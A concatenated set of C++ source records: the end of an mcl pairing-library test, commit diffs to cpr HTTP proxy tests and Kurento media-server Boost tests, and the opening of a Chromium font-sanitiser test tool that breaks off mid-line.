x.a;\n\t\t}\n\t\tFp2Dbl::mul_xi(x, x);\n\t\tCYBOZU_TEST_EQUAL_ARRAY(ok.a.getUnit(), x.a.getUnit(), ok.a.getUnitSize());\n\t\tCYBOZU_TEST_EQUAL_ARRAY(ok.b.getUnit(), x.b.getUnit(), ok.b.getUnitSize());\n\t}\n}\n\nvoid testMulSmall()\n{\n\tputs(\"testMulSmall\");\n\tcybozu::XorShift rg;\n\tfor (int y = 0; y < 10; y++) {\n\t\tfor (int i = 0; i < 40; i++) {\n\t\t\tFp x, z1, z2;\n\t\t\tx.setByCSPRNG(rg);\n\t\t\tFp::mulSmall(z1, x, y);\n\t\t\tz2 = x * y;\n\t\t\tCYBOZU_TEST_EQUAL(z1, z2);\n\t\t}\n\t}\n}\n\nvoid testCommon(const G1& P, const G2& Q)\n{\n\ttestMulSmall();\n\ttestFp2Dbl_mul_xi1();\n\ttestABCD();\n\ttestMul2();\n\tputs(\"G1\");\n\ttestMulVec(P);\n\tputs(\"G2\");\n\ttestMulVec(Q);\n\ttestMulCT(Q);\n\tGT e;\n\tmcl::bn::pairing(e, P, Q);\n\tputs(\"GT\");\n\ttestPowVec(e);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n\n#include <string>\n\n#include <cpr.h>\n\n\/\/ TODO: This uses public servers for proxies and endpoints. This should be replaced with a source\n\/\/ code implementation inside server.cpp\n\n#define HTTP_PROXY \"104.131.214.38:3128\"\n#define HTTPS_PROXY \"67.195.42.72:80\"\n\n\nTEST(ProxyTests, SingleProxyTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    auto response = cpr::Get(url, Proxies{{\"http\", HTTP_PROXY}});\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, MultipleProxyHttpTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    auto response = cpr::Get(url, Proxies{{\"http\", HTTP_PROXY},\n                                          {\"https\", HTTPS_PROXY}});\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, MultipleProxyHttpsTest) {\n    auto url = Url{\"https:\/\/www.httpbin.org\/get\"};\n    auto response = cpr::Get(url, Proxies{{\"http\", HTTP_PROXY},\n                                          {\"https\", HTTPS_PROXY}});\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, CopyProxyTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    auto proxies = Proxies{{\"http\", HTTP_PROXY}};\n    auto response = cpr::Get(url, proxies);\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, ProxySessionTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    Session session;\n    session.SetUrl(url);\n    session.SetProxies(Proxies{{\"http\", HTTP_PROXY}});\n    auto response = session.Get();\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nint main(int argc, char** argv) {\n    ::testing::InitGoogleTest(&argc, argv);\n    return RUN_ALL_TESTS();\n}\n<commit_msg>Try the same proxy server for both protocols References #5<commit_after>#include <gtest\/gtest.h>\n\n#include <string>\n\n#include <cpr.h>\n\n\/\/ TODO: This uses public servers for proxies and endpoints. This should be replaced with a source\n\/\/ code implementation inside server.cpp\n\n#define HTTP_PROXY \"104.131.214.38:3128\"\n#define HTTPS_PROXY \"104.131.214.38:3128\"\n\n\nTEST(ProxyTests, SingleProxyTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    auto response = cpr::Get(url, Proxies{{\"http\", HTTP_PROXY}});\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, MultipleProxyHttpTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    auto response = cpr::Get(url, Proxies{{\"http\", HTTP_PROXY},\n                                          {\"https\", HTTPS_PROXY}});\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, MultipleProxyHttpsTest) {\n    auto url = Url{\"https:\/\/www.httpbin.org\/get\"};\n    auto response = cpr::Get(url, Proxies{{\"http\", HTTP_PROXY},\n                                          {\"https\", HTTPS_PROXY}});\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, CopyProxyTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    auto proxies = Proxies{{\"http\", HTTP_PROXY}};\n    auto response = cpr::Get(url, proxies);\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nTEST(ProxyTests, ProxySessionTest) {\n    auto url = Url{\"http:\/\/www.httpbin.org\/get\"};\n    Session session;\n    session.SetUrl(url);\n    session.SetProxies(Proxies{{\"http\", HTTP_PROXY}});\n    auto response = session.Get();\n    EXPECT_EQ(url, response.url);\n    EXPECT_EQ(std::string{\"application\/json\"}, response.header[\"content-type\"]);\n    EXPECT_EQ(200, response.status_code);\n}\n\nint main(int argc, char** argv) {\n    ::testing::InitGoogleTest(&argc, argv);\n    return RUN_ALL_TESTS();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * (C) Copyright 2013 Kurento (http:\/\/kurento.org\/)\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Lesser General Public License\n * (LGPL) version 2.1 which accompanies this distribution, and is available at\n * http:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n#include \"server_test_base.hpp\"\n#include <boost\/test\/unit_test.hpp>\n\n#include \"mediaServer_constants.h\"\n#include \"dataTypes_constants.h\"\n\n#include \"UriEndPointType_constants.h\"\n#include \"PlayerEndPointType_constants.h\"\n#include \"RecorderEndPointType_constants.h\"\n\n#include \"utils\/marshalling.hpp\"\n\n#include <gst\/gst.h>\n\n#define GST_CAT_DEFAULT _server_test_\nGST_DEBUG_CATEGORY_STATIC (GST_CAT_DEFAULT);\n#define GST_DEFAULT_NAME \"server_test\"\n\nusing namespace kurento;\n\nBOOST_FIXTURE_TEST_SUITE ( server_test_suite,  F)\n\nstatic void\ncheck_version (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  int32_t gotVersion;\n\n  gotVersion = client->getVersion();\n  BOOST_CHECK_EQUAL (gotVersion, g_mediaServer_constants.VERSION);\n}\n\n#if 0 \/* Temporally disabled *\/\nstatic void\ncheck_no_handler (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n\n  BOOST_CHECK_THROW (client->createMediaPipeline (mediaPipeline, 0), HandlerNotFoundException);\n}\n\nstatic void\ncheck_add_handler_address (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  client->addHandlerAddress (0, \"localhost\", 2323);\n  client->addHandlerAddress (0, \"localhost\", 3434);\n}\n\nstatic void\ncheck_type (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  BOOST_CHECK (mediaPipeline.type.__isset.mediaObject);\n  BOOST_CHECK_EQUAL (mediaPipeline.type.mediaObject, MediaObjectType::type::MEDIA_PIPELINE);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::RTP_END_POINT);\n  BOOST_CHECK (mo.type.__isset.sdpEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.sdpEndPoint, SdpEndPointType::type::RTP_END_POINT);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::WEBRTC_END_POINT);\n  BOOST_CHECK (mo.type.__isset.sdpEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.sdpEndPoint, SdpEndPointType::type::WEBRTC_END_POINT);\n\n  client->createUriEndPoint (mo, mediaPipeline, UriEndPointType::type::PLAYER_END_POINT, \"\");\n  BOOST_CHECK (mo.type.__isset.uriEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.uriEndPoint, UriEndPointType::type::PLAYER_END_POINT);\n\n  client->createUriEndPoint (mo, mediaPipeline, UriEndPointType::type::RECORDER_END_POINT, \"\");\n  BOOST_CHECK (mo.type.__isset.uriEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.uriEndPoint, UriEndPointType::type::RECORDER_END_POINT);\n\n  client->createHttpEndPoint (mo, mediaPipeline);\n  BOOST_CHECK (mo.type.__isset.endPoint);\n  BOOST_CHECK_EQUAL (mo.type.endPoint, EndPointType::type::HTTP_END_POINT);\n\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  BOOST_CHECK (mo.type.__isset.mixerType);\n  BOOST_CHECK_EQUAL (mo.type.mixerType, MixerType::type::MAIN_MIXER);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_same_token (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  BOOST_CHECK_EQUAL (mediaPipeline.token, mo.token);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::RTP_END_POINT);\n  BOOST_CHECK_EQUAL (mediaPipeline.token, mo.token);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::WEBRTC_END_POINT);\n  BOOST_CHECK_EQUAL (mediaPipeline.token, mo.token);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_use_released_media_pipeline (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  client->release (mediaPipeline);\n  BOOST_CHECK_THROW (client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER), MediaObjectNotFoundException);\n}\n\nstatic void\ncheck_parent (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n  MediaObjectId parent = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  client->getParent (parent, mo);\n  BOOST_CHECK_EQUAL (mediaPipeline.id, parent.id);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_get_parent_in_released_media_pipeline (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n  MediaObjectId parent = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  client->release (mediaPipeline);\n\n  BOOST_CHECK_THROW (client->getParent (parent, mo), MediaObjectNotFoundException);\n}\n\nstatic void\ncheck_media_pipeline_no_parent (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId parent = MediaObjectId();\n\n  GST_DEBUG (\"check_media_pipeline_no_parent test\");\n  client->createMediaPipeline (mediaPipeline, 0);\n  BOOST_CHECK_THROW (client->getParent (parent, mediaPipeline), NoParentException);\n\n  client->release (mediaPipeline);\n}\n#endif\n\nstatic void\ncheck_player_end_point (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectRef mediaPipeline = MediaObjectRef();\n  MediaObjectRef playerEndPoint = MediaObjectRef();\n  Params params = Params ();\n  Command command;\n  CommandResult result;\n  std::string originalUri = \"file:\/\/\/tmp\/player_end_point_test.webm\";\n  std::string resultUri;\n\n  params.__set_dataType (g_dataTypes_constants.STRING_DATA_TYPE);\n  params.__set_data (marshalString (originalUri) );\n\n  client->createMediaPipeline (mediaPipeline);\n  client->createMediaElementWithParams (playerEndPoint, mediaPipeline, g_PlayerEndPointType_constants.TYPE_NAME, params);\n\n  command.__set_name (g_UriEndPointType_constants.GET_URI);\n  client->sendCommand (result, playerEndPoint, command);\n\n  BOOST_CHECK_EQUAL (g_dataTypes_constants.STRING_DATA_TYPE, result.dataType);\n\n  BOOST_REQUIRE_NO_THROW (resultUri = unmarshalString (result.data) );\n  BOOST_CHECK_EQUAL (0, originalUri.compare (resultUri) );\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_recorder_end_point (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectRef mediaPipeline = MediaObjectRef();\n  MediaObjectRef recorderEndPoint = MediaObjectRef();\n  Params params = Params ();\n  Command command;\n  CommandResult result;\n  std::string originalUri = \"file:\/\/\/tmp\/player_end_point_test.webm\";\n  std::string resultUri;\n\n  params.__set_dataType (g_dataTypes_constants.STRING_DATA_TYPE);\n  params.__set_data (marshalString (originalUri) );\n\n  client->createMediaPipeline (mediaPipeline);\n  client->createMediaElementWithParams (recorderEndPoint, mediaPipeline, g_RecorderEndPointType_constants.TYPE_NAME, params);\n\n  command.__set_name (g_UriEndPointType_constants.GET_URI);\n  client->sendCommand (result, recorderEndPoint, command);\n\n  BOOST_CHECK_EQUAL (g_dataTypes_constants.STRING_DATA_TYPE, result.dataType);\n\n  BOOST_REQUIRE_NO_THROW (resultUri = unmarshalString (result.data) );\n  BOOST_CHECK_EQUAL (0, originalUri.compare (resultUri) );\n\n  client->release (mediaPipeline);\n}\n\n#if 0 \/* Temporally disabled *\/\nstatic void\ncheck_http_end_point (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId httpEp = MediaObjectId();\n  std::string out;\n\n  client->createMediaPipeline (mediaPipeline, 0);\n\n  client->createHttpEndPoint (httpEp, mediaPipeline);\n  client->getUrl (out, httpEp);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_zbar_filter (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId zbarFilter = MediaObjectId();\n  std::string out;\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  client->createFilter (zbarFilter, mediaPipeline, FilterType::type::ZBAR_FILTER);\n  client->release (mediaPipeline);\n}\n#endif\n\nstatic void\nclient_side (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  check_version (client);\n\n#if 0 \/* Temporally disabled *\/\n  check_no_handler (client);\n  check_add_handler_address (client);\n  check_use_released_media_pipeline (client);\n  check_type (client);\n  check_same_token (client);\n  check_parent (client);\n  check_get_parent_in_released_media_pipeline (client);\n  check_media_pipeline_no_parent (client);\n#endif\n\n  check_player_end_point (client);\n  check_recorder_end_point (client);\n\n#if 0 \/* Temporally disabled *\/\n  check_http_end_point (client);\n  check_zbar_filter (client);\n#endif\n}\n\nBOOST_AUTO_TEST_CASE ( server_test )\n{\n  BOOST_REQUIRE_MESSAGE (initialized, \"Cannot connect to the server\");\n  GST_DEBUG_CATEGORY_INIT (GST_CAT_DEFAULT, GST_DEFAULT_NAME, 0, GST_DEFAULT_NAME);\n  client_side (client);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>Add test for using a released MediaPipeline<commit_after>\/*\n * (C) Copyright 2013 Kurento (http:\/\/kurento.org\/)\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Lesser General Public License\n * (LGPL) version 2.1 which accompanies this distribution, and is available at\n * http:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n#include \"server_test_base.hpp\"\n#include <boost\/test\/unit_test.hpp>\n\n#include \"mediaServer_constants.h\"\n#include \"dataTypes_constants.h\"\n#include \"errorCodes_constants.h\"\n\n#include \"UriEndPointType_constants.h\"\n#include \"PlayerEndPointType_constants.h\"\n#include \"RecorderEndPointType_constants.h\"\n\n#include \"utils\/marshalling.hpp\"\n\n#include <gst\/gst.h>\n\n#define GST_CAT_DEFAULT _server_test_\nGST_DEBUG_CATEGORY_STATIC (GST_CAT_DEFAULT);\n#define GST_DEFAULT_NAME \"server_test\"\n\nusing namespace kurento;\n\nBOOST_FIXTURE_TEST_SUITE ( server_test_suite,  F)\n\nstatic void\ncheck_version (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  int32_t gotVersion;\n\n  gotVersion = client->getVersion();\n  BOOST_CHECK_EQUAL (gotVersion, g_mediaServer_constants.VERSION);\n}\n\n#if 0 \/* Temporally disabled *\/\nstatic void\ncheck_no_handler (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n\n  BOOST_CHECK_THROW (client->createMediaPipeline (mediaPipeline, 0), HandlerNotFoundException);\n}\n\nstatic void\ncheck_add_handler_address (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  client->addHandlerAddress (0, \"localhost\", 2323);\n  client->addHandlerAddress (0, \"localhost\", 3434);\n}\n\nstatic void\ncheck_type (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  BOOST_CHECK (mediaPipeline.type.__isset.mediaObject);\n  BOOST_CHECK_EQUAL (mediaPipeline.type.mediaObject, MediaObjectType::type::MEDIA_PIPELINE);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::RTP_END_POINT);\n  BOOST_CHECK (mo.type.__isset.sdpEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.sdpEndPoint, SdpEndPointType::type::RTP_END_POINT);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::WEBRTC_END_POINT);\n  BOOST_CHECK (mo.type.__isset.sdpEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.sdpEndPoint, SdpEndPointType::type::WEBRTC_END_POINT);\n\n  client->createUriEndPoint (mo, mediaPipeline, UriEndPointType::type::PLAYER_END_POINT, \"\");\n  BOOST_CHECK (mo.type.__isset.uriEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.uriEndPoint, UriEndPointType::type::PLAYER_END_POINT);\n\n  client->createUriEndPoint (mo, mediaPipeline, UriEndPointType::type::RECORDER_END_POINT, \"\");\n  BOOST_CHECK (mo.type.__isset.uriEndPoint);\n  BOOST_CHECK_EQUAL (mo.type.uriEndPoint, UriEndPointType::type::RECORDER_END_POINT);\n\n  client->createHttpEndPoint (mo, mediaPipeline);\n  BOOST_CHECK (mo.type.__isset.endPoint);\n  BOOST_CHECK_EQUAL (mo.type.endPoint, EndPointType::type::HTTP_END_POINT);\n\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  BOOST_CHECK (mo.type.__isset.mixerType);\n  BOOST_CHECK_EQUAL (mo.type.mixerType, MixerType::type::MAIN_MIXER);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_same_token (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  BOOST_CHECK_EQUAL (mediaPipeline.token, mo.token);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::RTP_END_POINT);\n  BOOST_CHECK_EQUAL (mediaPipeline.token, mo.token);\n\n  client->createSdpEndPoint (mo, mediaPipeline, SdpEndPointType::type::WEBRTC_END_POINT);\n  BOOST_CHECK_EQUAL (mediaPipeline.token, mo.token);\n\n  client->release (mediaPipeline);\n}\n#endif\n\nstatic void\ncheck_use_released_media_pipeline (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectRef mediaPipeline = MediaObjectRef();\n  MediaObjectRef mo = MediaObjectRef();\n  Params params = Params ();\n\n  params.__set_dataType (g_dataTypes_constants.STRING_DATA_TYPE);\n  params.__set_data (marshalString (\"file:\/\/\/tmp\/f.webm\") );\n\n  client->createMediaPipeline (mediaPipeline);\n  client->release (mediaPipeline);\n\n  try {\n    client->createMediaElementWithParams (mo, mediaPipeline, g_PlayerEndPointType_constants.TYPE_NAME, params);\n    BOOST_FAIL (\"Use a released MediaPipeline must throw a MediaServerException\");\n  } catch (const MediaServerException &e) {\n    BOOST_CHECK_EQUAL (g_errorCodes_constants.MEDIA_OBJECT_NOT_FOUND, e.errorCode);\n  }\n}\n\n#if 0 \/* Temporally disabled *\/\nstatic void\ncheck_parent (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n  MediaObjectId parent = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  client->getParent (parent, mo);\n  BOOST_CHECK_EQUAL (mediaPipeline.id, parent.id);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_get_parent_in_released_media_pipeline (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId mo = MediaObjectId();\n  MediaObjectId parent = MediaObjectId();\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  client->createMixer (mo, mediaPipeline, MixerType::type::MAIN_MIXER);\n  client->release (mediaPipeline);\n\n  BOOST_CHECK_THROW (client->getParent (parent, mo), MediaObjectNotFoundException);\n}\n\nstatic void\ncheck_media_pipeline_no_parent (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId parent = MediaObjectId();\n\n  GST_DEBUG (\"check_media_pipeline_no_parent test\");\n  client->createMediaPipeline (mediaPipeline, 0);\n  BOOST_CHECK_THROW (client->getParent (parent, mediaPipeline), NoParentException);\n\n  client->release (mediaPipeline);\n}\n#endif\n\nstatic void\ncheck_player_end_point (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectRef mediaPipeline = MediaObjectRef();\n  MediaObjectRef playerEndPoint = MediaObjectRef();\n  Params params = Params ();\n  Command command;\n  CommandResult result;\n  std::string originalUri = \"file:\/\/\/tmp\/player_end_point_test.webm\";\n  std::string resultUri;\n\n  params.__set_dataType (g_dataTypes_constants.STRING_DATA_TYPE);\n  params.__set_data (marshalString (originalUri) );\n\n  client->createMediaPipeline (mediaPipeline);\n  client->createMediaElementWithParams (playerEndPoint, mediaPipeline, g_PlayerEndPointType_constants.TYPE_NAME, params);\n\n  command.__set_name (g_UriEndPointType_constants.GET_URI);\n  client->sendCommand (result, playerEndPoint, command);\n\n  BOOST_CHECK_EQUAL (g_dataTypes_constants.STRING_DATA_TYPE, result.dataType);\n\n  BOOST_REQUIRE_NO_THROW (resultUri = unmarshalString (result.data) );\n  BOOST_CHECK_EQUAL (0, originalUri.compare (resultUri) );\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_recorder_end_point (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectRef mediaPipeline = MediaObjectRef();\n  MediaObjectRef recorderEndPoint = MediaObjectRef();\n  Params params = Params ();\n  Command command;\n  CommandResult result;\n  std::string originalUri = \"file:\/\/\/tmp\/player_end_point_test.webm\";\n  std::string resultUri;\n\n  params.__set_dataType (g_dataTypes_constants.STRING_DATA_TYPE);\n  params.__set_data (marshalString (originalUri) );\n\n  client->createMediaPipeline (mediaPipeline);\n  client->createMediaElementWithParams (recorderEndPoint, mediaPipeline, g_RecorderEndPointType_constants.TYPE_NAME, params);\n\n  command.__set_name (g_UriEndPointType_constants.GET_URI);\n  client->sendCommand (result, recorderEndPoint, command);\n\n  BOOST_CHECK_EQUAL (g_dataTypes_constants.STRING_DATA_TYPE, result.dataType);\n\n  BOOST_REQUIRE_NO_THROW (resultUri = unmarshalString (result.data) );\n  BOOST_CHECK_EQUAL (0, originalUri.compare (resultUri) );\n\n  client->release (mediaPipeline);\n}\n\n#if 0 \/* Temporally disabled *\/\nstatic void\ncheck_http_end_point (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId httpEp = MediaObjectId();\n  std::string out;\n\n  client->createMediaPipeline (mediaPipeline, 0);\n\n  client->createHttpEndPoint (httpEp, mediaPipeline);\n  client->getUrl (out, httpEp);\n\n  client->release (mediaPipeline);\n}\n\nstatic void\ncheck_zbar_filter (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  MediaObjectId mediaPipeline = MediaObjectId();\n  MediaObjectId zbarFilter = MediaObjectId();\n  std::string out;\n\n  client->createMediaPipeline (mediaPipeline, 0);\n  client->createFilter (zbarFilter, mediaPipeline, FilterType::type::ZBAR_FILTER);\n  client->release (mediaPipeline);\n}\n#endif\n\nstatic void\nclient_side (boost::shared_ptr<kurento::MediaServerServiceClient> client)\n{\n  check_version (client);\n\n#if 0 \/* Temporally disabled *\/\n  check_no_handler (client);\n  check_add_handler_address (client);\n#endif\n\n  check_use_released_media_pipeline (client);\n\n#if 0 \/* Temporally disabled *\/\n  check_type (client);\n  check_same_token (client);\n  check_parent (client);\n  check_get_parent_in_released_media_pipeline (client);\n  check_media_pipeline_no_parent (client);\n#endif\n\n  check_player_end_point (client);\n  check_recorder_end_point (client);\n\n#if 0 \/* Temporally disabled *\/\n  check_http_end_point (client);\n  check_zbar_filter (client);\n#endif\n}\n\nBOOST_AUTO_TEST_CASE ( server_test )\n{\n  BOOST_REQUIRE_MESSAGE (initialized, \"Cannot connect to the server\");\n  GST_DEBUG_CATEGORY_INIT (GST_CAT_DEFAULT, GST_DEFAULT_NAME, 0, GST_DEFAULT_NAME);\n  client_side (client);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <fcntl.h>\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include FT_OUTLINE_H\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"opentype-sanitiser.h\"\n#include \"ots-memory-stream.h\"\n\nnamespace {\n\nvoid DumpBitmap(const FT_Bitmap *bitmap) {\n  for (int i = 0; i < bitmap->rows * bitmap->width; ++i) {\n    if (bitmap->buffer[i] > 192) {\n      std::fprintf(stderr, \"#\");\n    } else if (bitmap->buffer[i] > 128) {\n      std::fprintf(stderr, \"*\");\n    } else if (bitmap->buffer[i] > 64) {\n      std::fprintf(stderr, \"+\");\n    } else if (bitmap->buffer[i] > 32) {\n      std::fprintf(stderr, \".\");\n    } else {\n      std::fprintf(stderr, \" \");\n    }\n\n    if ((i + 1) % bitmap->width == 0) {\n      std::fprintf(stderr, \"\\n\");\n    }\n  }\n}\n\nint CompareBitmaps(const FT_Bitmap *orig, const FT_Bitmap *trans) {\n  int ret = 0;\n\n  if (orig->width == trans->width &&\n      orig->rows == trans->rows) {\n    for (int i = 0; i < orig->rows * orig->width; ++i) {\n      if (orig->buffer[i] != trans->buffer[i]) {\n        std::fprintf(stderr, \"bitmap data doesn't match!\\n\");\n        ret = 1;\n        break;\n      }\n    }\n  } else {\n    std::fprintf(stderr, \"bitmap metrics doesn't match! (%d, %d), (%d, %d)\\n\",\n                 orig->width, orig->rows, trans->width, trans->rows);\n    ret = 1;\n  }\n\n  if (ret) {\n    std::fprintf(stderr, \"EXPECTED:\\n\");\n    DumpBitmap(orig);\n    std::fprintf(stderr, \"\\nACTUAL:\\n\");\n    DumpBitmap(trans);\n    std::fprintf(stderr, \"\\n\\n\");\n  }\n\n  delete[] orig->buffer;\n  delete[] trans->buffer;\n  return ret;\n}\n\nint GetBitmap(FT_Library library, FT_Outline *outline, FT_Bitmap *bitmap) {\n  FT_BBox bbox;\n  FT_Outline_Get_CBox(outline, &bbox);\n\n  bbox.xMin &= ~63;\n  bbox.yMin &= ~63;\n  bbox.xMax = (bbox.xMax + 63) & ~63;\n  bbox.yMax = 